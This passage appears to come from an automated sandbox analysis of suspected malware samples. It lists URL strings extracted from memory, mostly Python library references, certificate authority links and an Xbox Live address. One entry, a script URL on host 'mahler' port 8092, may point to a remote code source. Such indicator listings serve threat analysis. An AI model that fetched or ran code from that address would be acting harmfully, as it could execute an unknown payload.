Source: vUlh7stUHJ.exe, 00000000.00000003.1403225658.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://curl.haxx.se/V
Source: vUlh7stUHJ.exe, 00000000.00000003.1403225658.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://curl.haxx.se/docs/copyright.htmlD
Source: pw.exe, 0000000E.00000003.1743980128.0000000001D97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.3/howto/logging.html#configuring-logging-for-a-library
Source: pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1694214238.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684878959.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1675606820.0000000000F82000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1688811369.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1714619124.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1729993425.0000000000F22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684513640.0000000000F23000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1676420636.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1696418421.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722017467.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1710507654.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1673020659.0000000000F82000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1720120477.0000000000F21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1662730093.0000000000F82000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1687572898.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1698483183.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1663943258.0000000000F82000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1667674810.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/reference/import.html#__path__
Source: pw.exe, 0000000E.00000003.1721968577.0000000001D24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://erickt.github.io/blog/2014/11/19/adventures-in-debugging-a-potential-osx-kernel-bug/
Source: pw.exe, 0000000E.00000003.1722253380.00000000023A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: pw.exe, 0000000E.00000003.1694017930.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/4325783
Source: pw.exe, 0000000E.00000003.1748877032.0000000001D94000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743980128.0000000001D97000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1765034692.0000000003FE5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1770875093.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1744073457.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754252598.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748068173.0000000001D94000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1791732327.0000000003FE5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1771102108.0000000003FE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745870570.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Ousret/charset_normalizer
Source: pw.exe, 0000000E.00000003.1770027736.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773146814.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/psf/requests/issues/1846
Source: pw.exe, 0000000E.00000003.1779949968.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1779808397.00000000022C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/psf/requests/issues/3578.
Source: pw.exe, 0000000E.00000003.1779949968.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1779808397.00000000022C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/psf/requests/pull/2238
Source: pw.exe, 0000000E.00000003.1779949968.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/psf/requests/pull/6710
Source: pw.exe, 0000000E.00000003.1725452365.00000000022B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/pyopenssl/pull/933
Source: pw.exe, 0000000E.00000003.1662999706.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1667538565.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1662806682.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1665061868.0000000000F24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1673020659.0000000000F33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1663943258.0000000000F73000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1670795232.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1673222462.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1667674810.0000000000F73000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1665380842.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/417#issuecomment-392298401
Source: pw.exe, 0000000E.00000003.1724923193.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1723803786.0000000001D34000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725199371.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/113199
Source: pw.exe, 0000000E.00000003.1676073472.0000000001BD5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1676964408.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/7160#discussion_r195405230
Source: pw.exe, 0000000E.00000003.1684698922.0000000001DAC000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1685641191.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689231973.0000000001DAF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686641947.0000000001DAE000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684351470.0000000001BDC000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689155922.0000000001C0A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1687379008.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1687471666.0000000001DA9000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686245822.0000000001C05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2168z(Andrey
Source: pw.exe, 0000000E.00000003.1722253380.00000000023A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: pw.exe, 0000000E.00000003.1756412295.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1724923193.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741676886.0000000001BE3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1724279963.0000000001BEF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792861657.0000000001BDF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752628970.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1787359999.0000000001BE2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1763560922.0000000001BED000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748745610.0000000001BEF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1724279963.0000000001C2F000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1723803786.0000000001D34000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1770027736.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1726663160.0000000001BEF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725199371.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: pw.exe, 0000000E.00000003.1721968577.0000000001D24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2791
Source: pw.exe, 0000000E.00000003.1743980128.0000000001D97000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741676886.0000000001BE3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741929759.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743102013.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1744073457.0000000003FA5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741788916.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: pw.exe, 0000000E.00000003.1684698922.0000000001DAC000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1685641191.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684513640.0000000000F23000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689231973.0000000001DAF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686641947.0000000001DAE000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684351470.0000000001BDC000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689155922.0000000001C0A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1687379008.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1687471666.0000000001DA9000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684788806.0000000000F25000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686819161.0000000000F25000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686245822.0000000001C05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3020)
Source: pw.exe, 0000000E.00000003.1725452365.00000000022B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3267.
Source: pw.exe, 0000000E.00000003.1721968577.0000000001D24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/651
Source: pw.exe, 0000000E.00000003.1724923193.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725199371.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/pull/2624
Source: pw.exe, 0000000E.00000003.1741788916.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745421013.0000000001D39000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741676886.0000000001BE3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741929759.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752365430.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748000091.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743102013.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1769890225.00000000023A1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1780050871.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1759137366.0000000002392000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1746314680.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747596411.0000000001D39000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781413086.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754016538.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776093310.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773323552.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: pw.exe, 0000000E.00000003.1745824282.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: pw.exe, 0000000E.00000003.1750591706.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792861657.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725566555.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728121417.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752628970.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741627516.0000000001C0A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1777008498.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1730701033.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776171766.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1738669991.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1770027736.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1724279963.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1739520243.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1763560922.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745216791.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1782896299.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747062191.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1734737617.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1787359999.0000000001C19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: pw.exe, 0000000E.00000003.1741788916.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: pw.exe, 0000000E.00000003.1791732327.0000000003FE5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1782896299.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781205759.00000000022C9000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1787359999.0000000001C19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/get
Source: pw.exe, 0000000E.00000003.1710372097.0000000001C04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1750591706.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1712031431.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792861657.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725566555.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689155922.0000000001C24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722796605.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686789187.0000000001C21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684434263.0000000001C12000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728121417.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1688845853.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1701616869.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752628970.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1694017930.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1717870863.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1705665117.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741627516.0000000001C0A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1777008498.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1700531805.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001C19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/post
Source: pw.exe, 0000000E.00000003.1730808548.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: pw.exe, 0000000E.00000003.1754433437.0000000003F44000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1755079197.0000000003F32000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754383727.0000000001D04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754252598.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1753165612.0000000003F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: pw.exe, 0000000E.00000003.1727766131.00000000020C4000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1726663160.0000000001BEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: pw.exe, 0000000E.00000003.1710372097.0000000001C04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1750591706.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1712031431.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792861657.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725566555.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689155922.0000000001C24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722796605.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686789187.0000000001C21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684434263.0000000001C12000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728121417.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1688845853.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1701616869.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752628970.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1694017930.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1717870863.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1705665117.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741627516.0000000001C0A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1777008498.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1700531805.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001C19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://requests.readthedocs.io
Source: pw.exe, 0000000E.00000003.1777008498.0000000001C04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776171766.0000000001C04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776093310.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://requests.readthedocs.ioz
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: Video.UI.exe, 00000004.00000002.2651575772.00000267A2D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://settings-ssl.xboxlive.com/XBLWinClient/v10_video/configuration.xml
Source: Video.UI.exe, 00000004.00000002.2651575772.00000267A2D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://settings-ssl.xboxlive.com/XBLWinClient/v10_video/configuration.xmlAC
Source: pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1739234363.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1731240122.0000000001CD2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728019212.0000000001CD2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749805094.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772292650.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1746215994.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1744625281.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1730613845.0000000001CD2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745824282.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: pw.exe, 0000000E.00000003.1695645040.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1697819388.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3986#appendix-A
Source: pw.exe, 0000000E.00000003.1695645040.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1697819388.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3986#section-3.3
Source: pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743980128.0000000001D97000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741676886.0000000001BE3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741929759.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748000091.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743102013.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1780050871.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781413086.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776093310.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773323552.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745870570.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1744073457.0000000003FA5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752954504.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741788916.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: pw.exe, 0000000E.00000003.1721968577.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725452365.00000000022B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html
Source: pw.exe, 0000000E.00000003.1782528798.0000000001D33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790098941.0000000001D39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#socks-proxies)
Source: pw.exe, 0000000E.00000003.1722796605.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722874531.0000000001C26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN)
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.firedaemon.com0/
